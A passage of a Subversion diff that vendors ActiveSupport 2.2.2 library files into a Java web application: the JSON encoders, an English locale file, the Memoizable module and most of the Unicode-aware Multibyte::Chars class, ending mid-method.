Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/regexp.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/regexp.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/regexp.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Regexp
+  def to_json(options = nil) #:nodoc:
+    inspect
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/string.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/string.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/string.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+module ActiveSupport
+  module JSON
+    module Encoding
+      mattr_accessor :escape_regex
+
+      ESCAPED_CHARS = {
+        "\010" =>  '\b',
+        "\f"   =>  '\f',
+        "\n"   =>  '\n',
+        "\r"   =>  '\r',
+        "\t"   =>  '\t',
+        '"'    =>  '\"',
+        '\\'   =>  '\\\\',
+        '>'    =>  '\u003E',
+        '<'    =>  '\u003C',
+        '&'    =>  '\u0026'
+      }
+    end
+  end
+end
+
+ActiveSupport.escape_html_entities_in_json = true
+
+class String
+  def to_json(options = nil) #:nodoc:
+    json = '"' + gsub(ActiveSupport::JSON::Encoding.escape_regex) { |s|
+      ActiveSupport::JSON::Encoding::ESCAPED_CHARS[s]
+    }
+    json.force_encoding('ascii-8bit') if respond_to?(:force_encoding)
+    json.gsub(/([\xC0-\xDF][\x80-\xBF]|
+             [\xE0-\xEF][\x80-\xBF]{2}|
+             [\xF0-\xF7][\x80-\xBF]{3})+/nx) { |s|
+      s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/, '\\\\u\&')
+    } + '"'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/symbol.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/symbol.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/symbol.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Symbol
+  def to_json(options = {}) #:nodoc:
+    ActiveSupport::JSON.encode(to_s, options)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+class Time
+  # Returns a JSON string representing the time. If ActiveSupport.use_standard_json_time_format is set to true, the
+  # ISO 8601 format is used.
+  #
+  # ==== Examples:
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = true
+  #   Time.utc(2005,2,1,15,15,10).to_json
+  #   # => "2005-02-01T15:15:10Z"
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   Time.utc(2005,2,1,15,15,10).to_json
+  #   # => "2005/02/01 15:15:10 +0000"
+  def to_json(options = nil)
+    if ActiveSupport.use_standard_json_time_format
+      xmlschema.inspect
+    else
+      %("#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)}")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/true_class.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/true_class.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/true_class.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class TrueClass
+  def to_json(options = nil) #:nodoc:
+    'true'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoding.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoding.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoding.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+require 'active_support/json/variable'
+require 'active_support/json/encoders/object' # Require explicitly for rdoc.
+Dir["#{File.dirname(__FILE__)}/encoders/**/*.rb"].each do |file|
+  basename = File.basename(file, '.rb')
+  unless basename == 'object'
+    require "active_support/json/encoders/#{basename}"
+  end
+end
+
+module ActiveSupport
+  module JSON
+    class CircularReferenceError < StandardError
+    end
+
+    class << self
+      REFERENCE_STACK_VARIABLE = :json_reference_stack #:nodoc:
+
+      # Converts a Ruby object into a JSON string.
+      def encode(value, options = {})
+        raise_on_circular_reference(value) do
+          value.send(:to_json, options)
+        end
+      end
+
+      protected
+        def raise_on_circular_reference(value) #:nodoc:
+          stack = Thread.current[REFERENCE_STACK_VARIABLE] ||= []
+          raise CircularReferenceError, 'object references itself' if
+            stack.include? value
+          stack << value
+          yield
+        ensure
+          stack.pop
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/variable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/variable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/variable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+module ActiveSupport
+  module JSON
+    # A string that returns itself as its JSON-encoded form.
+    class Variable < String
+      def to_json(options=nil)
+        self
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+module ActiveSupport
+  # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
+  mattr_accessor :use_standard_json_time_format
+
+  class << self
+    def escape_html_entities_in_json
+      @escape_html_entities_in_json
+    end
+
+    def escape_html_entities_in_json=(value)
+      ActiveSupport::JSON::Encoding.escape_regex = \
+        if value
+          /[\010\f\n\r\t"\\><&]/
+        else
+          /[\010\f\n\r\t"\\]/
+        end
+      @escape_html_entities_in_json = value
+    end
+  end
+end
+
+require 'active_support/json/encoding'
+require 'active_support/json/decoding'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/locale/en.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/locale/en.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/locale/en.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+en:
+  date:
+    formats:
+      # Use the strftime parameters for formats.
+      # When no format has been given, it uses default.
+      # You can provide other formats here if you like!
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+      
+    day_names: [Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday]
+    abbr_day_names: [Sun, Mon, Tue, Wed, Thu, Fri, Sat]
+      
+    # Don't forget the nil at the beginning; there's no such thing as a 0th month
+    month_names: [~, January, February, March, April, May, June, July, August, September, October, November, December]
+    abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec]
+    # Used in date_select and datime_select.
+    order: [ :year, :month, :day ]
+
+  time:
+    formats:
+      default: "%a, %d %b %Y %H:%M:%S %z"
+      short: "%d %b %H:%M"
+      long: "%B %d, %Y %H:%M"
+    am: "am"
+    pm: "pm"
+      
+# Used in array.to_sentence.
+  support:
+    array:
+      sentence_connector: "and"
+      skip_last_comma: false

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/memoizable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/memoizable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/memoizable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,82 @@
+module ActiveSupport
+  module Memoizable
+    MEMOIZED_IVAR = Proc.new do |symbol|
+      "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym
+    end
+
+    module Freezable
+      def self.included(base)
+        base.class_eval do
+          unless base.method_defined?(:freeze_without_memoizable)
+            alias_method_chain :freeze, :memoizable
+          end
+        end
+      end
+
+      def freeze_with_memoizable
+        memoize_all unless frozen?
+        freeze_without_memoizable
+      end
+
+      def memoize_all
+        methods.each do |m|
+          if m.to_s =~ /^_unmemoized_(.*)/
+            if method(m).arity == 0
+              __send__($1)
+            else
+              ivar = MEMOIZED_IVAR.call($1)
+              instance_variable_set(ivar, {})
+            end
+          end
+        end
+      end
+
+      def unmemoize_all
+        methods.each do |m|
+          if m.to_s =~ /^_unmemoized_(.*)/
+            ivar = MEMOIZED_IVAR.call($1)
+            instance_variable_get(ivar).clear if instance_variable_defined?(ivar)
+          end
+        end
+      end
+    end
+
+    def memoize(*symbols)
+      symbols.each do |symbol|
+        original_method = :"_unmemoized_#{symbol}"
+        memoized_ivar = MEMOIZED_IVAR.call(symbol)
+
+        class_eval <<-EOS, __FILE__, __LINE__
+          include Freezable
+
+          raise "Already memoized #{symbol}" if method_defined?(:#{original_method})
+          alias #{original_method} #{symbol}
+
+          if instance_method(:#{symbol}).arity == 0
+            def #{symbol}(reload = false)
+              if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?
+                #{memoized_ivar} = [#{original_method}.freeze]
+              end
+              #{memoized_ivar}[0]
+            end
+          else
+            def #{symbol}(*args)
+              #{memoized_ivar} ||= {} unless frozen?
+              reload = args.pop if args.last == true || args.last == :reload
+
+              if defined?(#{memoized_ivar}) && #{memoized_ivar}
+                if !reload && #{memoized_ivar}.has_key?(args)
+                  #{memoized_ivar}[args]
+                elsif #{memoized_ivar}
+                  #{memoized_ivar}[args] = #{original_method}(*args).freeze
+                end
+              else
+                #{original_method}(*args)
+              end
+            end
+          end
+        EOS
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/chars.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/chars.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/chars.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,679 @@
+# encoding: utf-8
+
+module ActiveSupport #:nodoc:
+  module Multibyte #:nodoc:
+    # Chars enables you to work transparently with UTF-8 encoding in the Ruby String class without having extensive
+    # knowledge about the encoding. A Chars object accepts a string upon initialization and proxies String methods in an
+    # encoding safe manner. All the normal String methods are also implemented on the proxy.
+    #
+    # String methods are proxied through the Chars object, and can be accessed through the +mb_chars+ method. Methods
+    # which would normally return a String object now return a Chars object so methods can be chained.
+    #
+    #   "The Perfect String  ".mb_chars.downcase.strip.normalize #=> "the perfect string"
+    #
+    # Chars objects are perfectly interchangeable with String objects as long as no explicit class checks are made.
+    # If certain methods do explicitly check the class, call +to_s+ before you pass chars objects to them.
+    #
+    #   bad.explicit_checking_method "T".mb_chars.downcase.to_s
+    #
+    # The default Chars implementation assumes that the encoding of the string is UTF-8, if you want to handle different
+    # encodings you can write your own multibyte string handler and configure it through 
+    # ActiveSupport::Multibyte.proxy_class.
+    #
+    #   class CharsForUTF32
+    #     def size
+    #       @wrapped_string.size / 4
+    #     end
+    #
+    #     def self.accepts?(string)
+    #       string.length % 4 == 0
+    #     end
+    #   end
+    #
+    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+    class Chars
+      # Hangul character boundaries and properties
+      HANGUL_SBASE = 0xAC00
+      HANGUL_LBASE = 0x1100
+      HANGUL_VBASE = 0x1161
+      HANGUL_TBASE = 0x11A7
+      HANGUL_LCOUNT = 19
+      HANGUL_VCOUNT = 21
+      HANGUL_TCOUNT = 28
+      HANGUL_NCOUNT = HANGUL_VCOUNT * HANGUL_TCOUNT
+      HANGUL_SCOUNT = 11172
+      HANGUL_SLAST = HANGUL_SBASE + HANGUL_SCOUNT
+      HANGUL_JAMO_FIRST = 0x1100
+      HANGUL_JAMO_LAST = 0x11FF
+
+      # All the unicode whitespace
+      UNICODE_WHITESPACE = [
+        (0x0009..0x000D).to_a, # White_Space # Cc   [5] <control-0009>..<control-000D>
+        0x0020,                # White_Space # Zs       SPACE
+        0x0085,                # White_Space # Cc       <control-0085>
+        0x00A0,                # White_Space # Zs       NO-BREAK SPACE
+        0x1680,                # White_Space # Zs       OGHAM SPACE MARK
+        0x180E,                # White_Space # Zs       MONGOLIAN VOWEL SEPARATOR
+        (0x2000..0x200A).to_a, # White_Space # Zs  [11] EN QUAD..HAIR SPACE
+        0x2028,                # White_Space # Zl       LINE SEPARATOR
+        0x2029,                # White_Space # Zp       PARAGRAPH SEPARATOR
+        0x202F,                # White_Space # Zs       NARROW NO-BREAK SPACE
+        0x205F,                # White_Space # Zs       MEDIUM MATHEMATICAL SPACE
+        0x3000,                # White_Space # Zs       IDEOGRAPHIC SPACE
+      ].flatten.freeze
+
+      # BOM (byte order mark) can also be seen as whitespace, it's a non-rendering character used to distinguish
+      # between little and big endian. This is not an issue in utf-8, so it must be ignored.
+      UNICODE_LEADERS_AND_TRAILERS = UNICODE_WHITESPACE + [65279] # ZERO-WIDTH NO-BREAK SPACE aka BOM
+
+      # Returns a regular expression pattern that matches the passed Unicode codepoints
+      def self.codepoints_to_pattern(array_of_codepoints) #:nodoc:
+        array_of_codepoints.collect{ |e| [e].pack 'U*' }.join('|')
+      end
+      UNICODE_TRAILERS_PAT = /(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+\Z/
+      UNICODE_LEADERS_PAT = /\A(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+/
+
+      # Borrowed from the Kconv library by Shinji KONO - (also as seen on the W3C site)
+      UTF8_PAT = /\A(?:
+                     [\x00-\x7f]                                     |
+                     [\xc2-\xdf] [\x80-\xbf]                         |
+                     \xe0        [\xa0-\xbf] [\x80-\xbf]             |
+                     [\xe1-\xef] [\x80-\xbf] [\x80-\xbf]             |
+                     \xf0        [\x90-\xbf] [\x80-\xbf] [\x80-\xbf] |
+                     [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf] |
+                     \xf4        [\x80-\x8f] [\x80-\xbf] [\x80-\xbf]
+                    )*\z/xn
+
+      attr_reader :wrapped_string
+      alias to_s wrapped_string
+      alias to_str wrapped_string
+
+      if '1.9'.respond_to?(:force_encoding)
+        # Creates a new Chars instance by wrapping _string_.
+        def initialize(string)
+          @wrapped_string = string
+          @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
+        end
+      else
+        def initialize(string) #:nodoc:
+          @wrapped_string = string
+        end
+      end
+
+      # Forward all undefined methods to the wrapped string.
+      def method_missing(method, *args, &block)
+        if method.to_s =~ /!$/
+          @wrapped_string.__send__(method, *args, &block)
+          self
+        else
+          result = @wrapped_string.__send__(method, *args, &block)
+          result.kind_of?(String) ? chars(result) : result
+        end
+      end
+
+      # Returns +true+ if _obj_ responds to the given method. Private methods are included in the search
+      # only if the optional second parameter evaluates to +true+.
+      def respond_to?(method, include_private=false)
+        super || @wrapped_string.respond_to?(method, include_private) || false
+      end
+
+      # Enable more predictable duck-typing on String-like classes. See Object#acts_like?.
+      def acts_like_string?
+        true
+      end
+
+      # Returns +true+ if the Chars class can and should act as a proxy for the string _string_. Returns
+      # +false+ otherwise.
+      def self.wants?(string)
+        $KCODE == 'UTF8' && consumes?(string)
+      end
+
+      # Returns +true+ when the proxy class can handle the string. Returns +false+ otherwise.
+      def self.consumes?(string)
+        # Unpack is a little bit faster than regular expressions.
+        string.unpack('U*')
+        true
+      rescue ArgumentError
+        false
+      end
+
+      include Comparable
+
+      # Returns <tt>-1</tt>, <tt>0</tt> or <tt>+1</tt> depending on whether the Chars object is to be sorted before,
+      # equal or after the object on the right side of the operation. It accepts any object that implements +to_s+.
+      # See <tt>String#<=></tt> for more details.
+      #
+      # Example:
+      #   'é'.mb_chars <=> 'ü'.mb_chars #=> -1
+      def <=>(other)
+        @wrapped_string <=> other.to_s
+      end
+
+      # Returns a new Chars object containing the _other_ object concatenated to the string.
+      #
+      # Example:
+      #   ('Café'.mb_chars + ' périferôl').to_s #=> "Café périferôl"
+      def +(other)
+        self << other
+      end
+
+      # Like <tt>String#=~</tt> only it returns the character offset (in codepoints) instead of the byte offset.
+      #
+      # Example:
+      #   'Café périferôl'.mb_chars =~ /ô/ #=> 12
+      def =~(other)
+        translate_offset(@wrapped_string =~ other)
+      end
+
+      # Works just like <tt>String#split</tt>, with the exception that the items in the resulting list are Chars
+      # instances instead of String. This makes chaining methods easier.
+      #
+      # Example:
+      #   'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } #=> ["CAF", " P", "RIFERÔL"]
+      def split(*args)
+        @wrapped_string.split(*args).map { |i| i.mb_chars }
+      end
+
+      # Inserts the passed string at specified codepoint offsets.
+      #
+      # Example:
+      #   'Café'.mb_chars.insert(4, ' périferôl').to_s #=> "Café périferôl"
+      def insert(offset, fragment)
+        unpacked = self.class.u_unpack(@wrapped_string)
+        unless offset > unpacked.length
+          @wrapped_string.replace(
+            self.class.u_unpack(@wrapped_string).insert(offset, *self.class.u_unpack(fragment)).pack('U*')
+          )
+        else
+          raise IndexError, "index #{offset} out of string"
+        end
+        self
+      end
+
+      # Returns +true+ if contained string contains _other_. Returns +false+ otherwise.
+      #
+      # Example:
+      #   'Café'.mb_chars.include?('é') #=> true
+      def include?(other)
+        # We have to redefine this method because Enumerable defines it.
+        @wrapped_string.include?(other)
+      end
+
+      # Returns the position _needle_ in the string, counting in codepoints. Returns +nil+ if _needle_ isn't found.
+      #
+      # Example:
+      #   'Café périferôl'.mb_chars.index('ô') #=> 12
+      #   'Café périferôl'.mb_chars.index(/\w/u) #=> 0
+      def index(needle, offset=0)
+        index = @wrapped_string.index(needle, offset)
+        index ? (self.class.u_unpack(@wrapped_string.slice(0...index)).size) : nil
+      end
+
+      # Like <tt>String#[]=</tt>, except instead of byte offsets you specify character offsets.
+      #
+      # Example:
+      #
+      #   s = "Müller"
+      #   s.mb_chars[2] = "e" # Replace character with offset 2
+      #   s
+      #   #=> "Müeler"
+      #
+      #   s = "Müller"
+      #   s.mb_chars[1, 2] = "ö" # Replace 2 characters at character offset 1
+      #   s
+      #   #=> "Möler"
+      def []=(*args)
+        replace_by = args.pop
+        # Indexed replace with regular expressions already works
+        if args.first.is_a?(Regexp)
+          @wrapped_string[*args] = replace_by
+        else
+          result = self.class.u_unpack(@wrapped_string)
+          if args[0].is_a?(Fixnum)
+            raise IndexError, "index #{args[0]} out of string" if args[0] >= result.length
+            min = args[0]
+            max = args[1].nil? ? min : (min + args[1] - 1)
+            range = Range.new(min, max)
+            replace_by = [replace_by].pack('U') if replace_by.is_a?(Fixnum)
+          elsif args.first.is_a?(Range)
+            raise RangeError, "#{args[0]} out of range" if args[0].min >= result.length
+            range = args[0]
+          else
+            needle = args[0].to_s
+            min = index(needle)
+            max = min + self.class.u_unpack(needle).length - 1
+            range = Range.new(min, max)
+          end
+          result[range] = self.class.u_unpack(replace_by)
+          @wrapped_string.replace(result.pack('U*'))
+        end
+      end
+
+      # Works just like <tt>String#rjust</tt>, only integer specifies characters instead of bytes.
+      #
+      # Example:
+      #
+      #   "¾ cup".mb_chars.rjust(8).to_s
+      #   #=> "   ¾ cup"
+      #
+      #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
+      #   #=> "   ¾ cup"
+      def rjust(integer, padstr=' ')
+        justify(integer, :right, padstr)
+      end
+
+      # Works just like <tt>String#ljust</tt>, only integer specifies characters instead of bytes.
+      #
+      # Example:
+      #
+      #   "¾ cup".mb_chars.rjust(8).to_s
+      #   #=> "¾ cup   "
+      #
+      #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
+      #   #=> "¾ cup   "
+      def ljust(integer, padstr=' ')
+        justify(integer, :left, padstr)
+      end
+
+      # Works just like <tt>String#center</tt>, only integer specifies characters instead of bytes.
+      #
+      # Example:
+      #
+      #   "¾ cup".mb_chars.center(8).to_s
+      #   #=> " ¾ cup  "
+      #
+      #   "¾ cup".mb_chars.center(8, " ").to_s # Use non-breaking whitespace
+      #   #=> " ¾ cup  "
+      def center(integer, padstr=' ')
+        justify(integer, :center, padstr)
+      end
+
+      # Strips entire range of Unicode whitespace from the right of the string.
+      def rstrip
+        chars(@wrapped_string.gsub(UNICODE_TRAILERS_PAT, ''))
+      end
+      
+      # Strips entire range of Unicode whitespace from the left of the string.
+      def lstrip
+        chars(@wrapped_string.gsub(UNICODE_LEADERS_PAT, ''))
+      end
+      
+      # Strips entire range of Unicode whitespace from the right and left of the string.
+      def strip
+        rstrip.lstrip
+      end
+      
+      # Returns the number of codepoints in the string
+      def size
+        self.class.u_unpack(@wrapped_string).size
+      end
+      alias_method :length, :size
+      
+      # Reverses all characters in the string.
+      #
+      # Example:
+      #   'Café'.mb_chars.reverse.to_s #=> 'éfaC'
+      def reverse
+        chars(self.class.u_unpack(@wrapped_string).reverse.pack('U*'))
+      end
+      
+      # Implements Unicode-aware slice with codepoints. Slicing on one point returns the codepoints for that
+      # character.
+      #
+      # Example:
+      #   'こんにちは'.mb_chars.slice(2..3).to_s #=> "にち"
+      def slice(*args)
+        if args.size > 2
+          raise ArgumentError, "wrong number of arguments (#{args.size} for 1)" # Do as if we were native
+        elsif (args.size == 2 && !(args.first.is_a?(Numeric) || args.first.is_a?(Regexp)))
+          raise TypeError, "cannot convert #{args.first.class} into Integer" # Do as if we were native
+        elsif (args.size == 2 && !args[1].is_a?(Numeric))
+          raise TypeError, "cannot convert #{args[1].class} into Integer" # Do as if we were native
+        elsif args[0].kind_of? Range
+          cps = self.class.u_unpack(@wrapped_string).slice(*args)
+          result = cps.nil? ? nil : cps.pack('U*')
+        elsif args[0].kind_of? Regexp
+          result = @wrapped_string.slice(*args)
+        elsif args.size == 1 && args[0].kind_of?(Numeric)
+          character = self.class.u_unpack(@wrapped_string)[args[0]]
+          result = character.nil? ? nil : [character].pack('U')
+        else
+          result = self.class.u_unpack(@wrapped_string).slice(*args).pack('U*')
+        end
+        result.nil? ? nil : chars(result)
+      end
+      alias_method :[], :slice
+
+      # Convert characters in the string to uppercase.
+      #
+      # Example:
+      #   'Laurent, òu sont les tests?'.mb_chars.upcase.to_s #=> "LAURENT, ÒU SONT LES TESTS?"
+      def upcase
+        apply_mapping :uppercase_mapping
+      end
+
+      # Convert characters in the string to lowercase.
+      #
+      # Example:
+      #   'VĚDA A VÝZKUM'.mb_chars.downcase.to_s #=> "věda a výzkum"
+      def downcase
+        apply_mapping :lowercase_mapping
+      end
+
+      # Converts the first character to uppercase and the remainder to lowercase.
+      #
+      # Example:
+      #  'über'.mb_chars.capitalize.to_s #=> "Über"
+      def capitalize
+        (slice(0) || chars('')).upcase + (slice(1..-1) || chars('')).downcase
+      end
+
+      # Returns the KC normalization of the string by default. NFKC is considered the best normalization form for
+      # passing strings to databases and validations.
+      #
+      # * <tt>str</tt> - The string to perform normalization on.
+      # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
+      #   <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
+      #   ActiveSupport::Multibyte.default_normalization_form
+      def normalize(form=ActiveSupport::Multibyte.default_normalization_form)
+        # See http://www.unicode.org/reports/tr15, Table 1
+        codepoints = self.class.u_unpack(@wrapped_string)
+        chars(case form
+          when :d
+            self.class.reorder_characters(self.class.decompose_codepoints(:canonical, codepoints))
+          when :c
+            self.class.compose_codepoints(self.class.reorder_characters(self.class.decompose_codepoints(:canonical, codepoints)))
+          when :kd
+            self.class.reorder_characters(self.class.decompose_codepoints(:compatability, codepoints))
+          when :kc
+            self.class.compose_codepoints(self.class.reorder_characters(self.class.decompose_codepoints(:compatability, codepoints)))
+          else
+            raise ArgumentError, "#{form} is not a valid normalization variant", caller
+        end.pack('U*'))
+      end
+
+      # Performs canonical decomposition on all the characters.
+      #
+      # Example:
+      #   'é'.length #=> 2
+      #   'é'.mb_chars.decompose.to_s.length #=> 3
+      def decompose
+        chars(self.class.decompose_codepoints(:canonical, self.class.u_unpack(@wrapped_string)).pack('U*'))
+      end
+
+      # Performs composition on all the characters.
+      #
+      # Example:
+      #   'é'.length #=> 3
+      #   'é'.mb_chars.compose.to_s.length #=> 2
+      def compose
+        chars(self.class.compose_codepoints(self.class.u_unpack(@wrapped_string)).pack('U*'))
+      end
+
+      # Returns the number of grapheme clusters in the string.
+      #
+      # Example:
+      #   'क्षि'.mb_chars.length #=> 4
+      #   'क्षि'.mb_chars.g_length #=> 3
+      def g_length
+        self.class.g_unpack(@wrapped_string).length
+      end
+
+      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
+      def tidy_bytes
+        chars(self.class.tidy_bytes(@wrapped_string))
+      end
+
+      %w(lstrip rstrip strip reverse upcase downcase slice tidy_bytes capitalize).each do |method|
+        define_method("#{method}!") do |*args|
+          unless args.nil?
+            @wrapped_string = send(method, *args).to_s
+          else
+            @wrapped_string = send(method).to_s
+          end
+          self
+        end
+      end
+
+      class << self
+
+        # Unpack the string at codepoints boundaries. Raises an EncodingError when the encoding of the string isn't
+        # valid UTF-8.
+        #
+        # Example:
+        #   Chars.u_unpack('Café') #=> [67, 97, 102, 233]
+        def u_unpack(string)
+          begin
+            string.unpack 'U*'
+          rescue ArgumentError
+            raise EncodingError, 'malformed UTF-8 character'
+          end
+        end
+
+        # Detect whether the codepoint is in a certain character class. Returns +true+ when it's in the specified
+        # character class and +false+ otherwise. Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
+        # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
+        #
+        # Primarily used by the grapheme cluster support.
+        def in_char_class?(codepoint, classes)
+          classes.detect { |c| UCD.boundary[c] === codepoint } ? true : false
+        end
+
+        # Unpack the string at grapheme boundaries. Returns a list of character lists.
+        #
+        # Example:
+        #   Chars.g_unpack('क्षि') #=> [[2325, 2381], [2359], [2367]]
+        #   Chars.g_unpack('Café') #=> [[67], [97], [102], [233]]
+        def g_unpack(string)
+          codepoints = u_unpack(string)
+          unpacked = []
+          pos = 0
+          marker = 0
+          eoc = codepoints.length
+          while(pos < eoc)
+            pos += 1
+            previous = codepoints[pos-1]
+            current = codepoints[pos]
+            if (
+                # CR X LF
+                one = ( previous == UCD.boundary[:cr] and current == UCD.boundary[:lf] ) or
+                # L X (L|V|LV|LVT)
+                two = ( UCD.boundary[:l] === previous and in_char_class?(current, [:l,:v,:lv,:lvt]) ) or
+                # (LV|V) X (V|T)
+                three = ( in_char_class?(previous, [:lv,:v]) and in_char_class?(current, [:v,:t]) ) or
+                # (LVT|T) X (T)
+                four = ( in_char_class?(previous, [:lvt,:t]) and UCD.boundary[:t] === current ) or
+                # X Extend
+                five = (UCD.boundary[:extend] === current)
+              )
+            else
+              unpacked << codepoints[marker..pos-1]
+              marker = pos
+            end
+          end 
+          unpacked
+        end
+
+        # Reverse operation of g_unpack.
+        #
+        # Example:
+        #   Chars.g_pack(Chars.g_unpack('क्षि')) #=> 'क्षि'
+        def g_pack(unpacked)
+          (unpacked.flatten).pack('U*')
+        end
+
+        def padding(padsize, padstr=' ') #:nodoc:
+          if padsize != 0
+            new(padstr * ((padsize / u_unpack(padstr).size) + 1)).slice(0, padsize)
+          else
+            ''
+          end
+        end
+
+        # Re-order codepoints so the string becomes canonical.
+        def reorder_characters(codepoints)
+          length = codepoints.length- 1
+          pos = 0
+          while pos < length do
+            cp1, cp2 = UCD.codepoints[codepoints[pos]], UCD.codepoints[codepoints[pos+1]]
+            if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)
+              codepoints[pos..pos+1] = cp2.code, cp1.code
+              pos += (pos > 0 ? -1 : 1)
+            else
+              pos += 1
+            end
+          end
+          codepoints
+        end
+
+        # Decompose composed characters to the decomposed form.
+        def decompose_codepoints(type, codepoints)
+          codepoints.inject([]) do |decomposed, cp|
+            # if it's a hangul syllable starter character
